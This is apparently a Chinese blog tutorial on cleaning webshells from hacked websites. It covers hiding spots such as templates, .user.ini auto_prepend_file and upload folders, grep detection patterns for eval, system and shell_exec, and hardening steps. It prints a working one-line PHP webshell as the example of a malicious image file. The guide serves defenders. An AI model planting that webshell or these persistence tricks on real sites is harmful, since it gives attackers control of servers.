挂马这件事有个反常识的地方——恶意代码很少老实待在首页 index.php 里,它更爱往没人翻的角落钻。你打开首页源码一行行看半天,可能什么都没找着,然后心里得出个「应该没事」的结论。马就在旁边那个两三年没动过的模板文件里躺着,等着哪天搜索引擎爬一遍,把脏东西带出去。

网站挂马的案例里,代码最常落在哪几个角落
模板文件是重灾区,footer.php、header.php、sidebar.php 这种全站引用的,插一段最省事,一个文件污染整站。还有那些被引用的外部 js,老站常把统计脚本、jquery 一类放在 /js/ 下面,文件名看着眼熟,内容早被换掉了也没人翻。再就是 uploads、images 这种能写文件的地方,混进去一两个名字像图、后缀是 php 的东西。
还有一些特别阴的。PHP 有个 .user.ini,配个 auto_prepend_file 就能让每个请求先跑一遍指定文件,一般站长根本不会去看这个文件。wp-config.php 里夹两行、伪静态规则里塞一段、runtime 缓存目录里丢个马,都属于同一路数。数据库也别漏掉,WordPress 那种站往 wp_options 里写一段脚本,后台设置页一打开就执行,全站跟着带毒。sitemap.xml 被塞进一堆外链的也算,性质不一样,但都是被动手脚了。
别急着删,先顺着入口往回找
看到马的第一反应都是删,删之前先拍照留证、把可疑文件打包存一份。文件修改时间是个好东西,find . -name “*.php” -mtime -7 一跑,最近一周被动过的全列出来,哪几个不是你改的一目了然。老练点的会把时间戳改回跟旁边文件一致,这种就得看文件大小差异和内容特征。入口多半就在几处:后台弱口令、几个月没升级的插件、能传文件又不校验的留言板、同服务器上另一个更老的站先被端了之后横向摸过来。FTP 和数据库密码如果在群里贴过、在代码仓库里留过,也算泄露渠道。
手工排查,几条命令往往比扫马软件管用
grep -rn “eval(” /www/wwwroot/ 先跑一遍。eval、assert、base64_decode、preg_replace 带 /e 的,这些词在正常业务代码里出现频率极低,蹦出来一个就看一个。再 grep -rn “iframe” 模板目录,不少人挂马就是塞个隐藏 iframe 收流量。还有 system、passthru、shell_exec 这几个能执行系统命令的。别嫌烦,一个站真想排干净,就是得一条条对着看。扫马软件不是没用,但对拆成好几段拼接的、手工混淆过的代码,经常报不出来。
图片马和一句话,肉眼真看不出来
一张正常 jpg,用文本编辑器打开,尾部多一行 <?php @eval($_POST[‘x’]);?>,图片照样显示,大小就差那么一点点,谁会发现。这类文件放在 uploads 里,攻击者通过它就能往服务器上继续写东西。所以查的时候别只盯 php 后缀,图片、js、css、ico 都得过一遍,尤其是修改时间对不上的那些。ico 这种冷门文件更容易被忽略,一年到头没人打开看。
清干净之后,那几个口子得堵上
后台密码、数据库密码、FTP 密码全部换一遍,不要只换管理员那一个账号。CMS 和插件升到当前版本,用不上的插件直接删掉——留着不用的插件等于给人留一扇门。目录权限收一收,上传目录坚决不给执行权限,nginx 或者 apache 里加条规则,把 uploads 下面的 php 请求直接拒掉。备份得提前做,别等清理完才想起来,很多人过程中顺手删掉了正常文件,回头发现恢复不回去。另外,被挂马那段时间搜索结果里可能带着脏标题,处理完以后可以在搜索引擎的站长后台提交一下,具体流程以各平台官方说明为准。
有时候不是挂马,是中间环节被插了东西
判断方法不复杂,curl 直接请求源站 IP,带上 Host 头,看拿回来的那份源码干不干净。源站干净而浏览器里被插,问题可能出在 CDN 缓存被污染,也可能是本地运营商劫持。还有一种只在手机端出现、PC 上死活复现不了的,多半是判断了 UA。这种去服务器上删文件纯属白费力气,方向得换,去查 CDN 缓存刷新、查域名有没有被别人动过解析。
最后留一句提醒:发现挂马先别慌,先记录、先备份、再找入口。文件清掉只是止血,入口不堵,过两天换个文件名照样回来。查的时候从模板、上传目录、数据库这三处下手,命令和手工一起上,别指望一键工具给你清得干干净净。清完过三五天再复查一遍文件修改时间,确认没有新东西冒出来,这事情才算真的收住。
【版权声明】:本站内容若无意侵犯到您的权利,请及时与我们联系将尽快删除相关内容!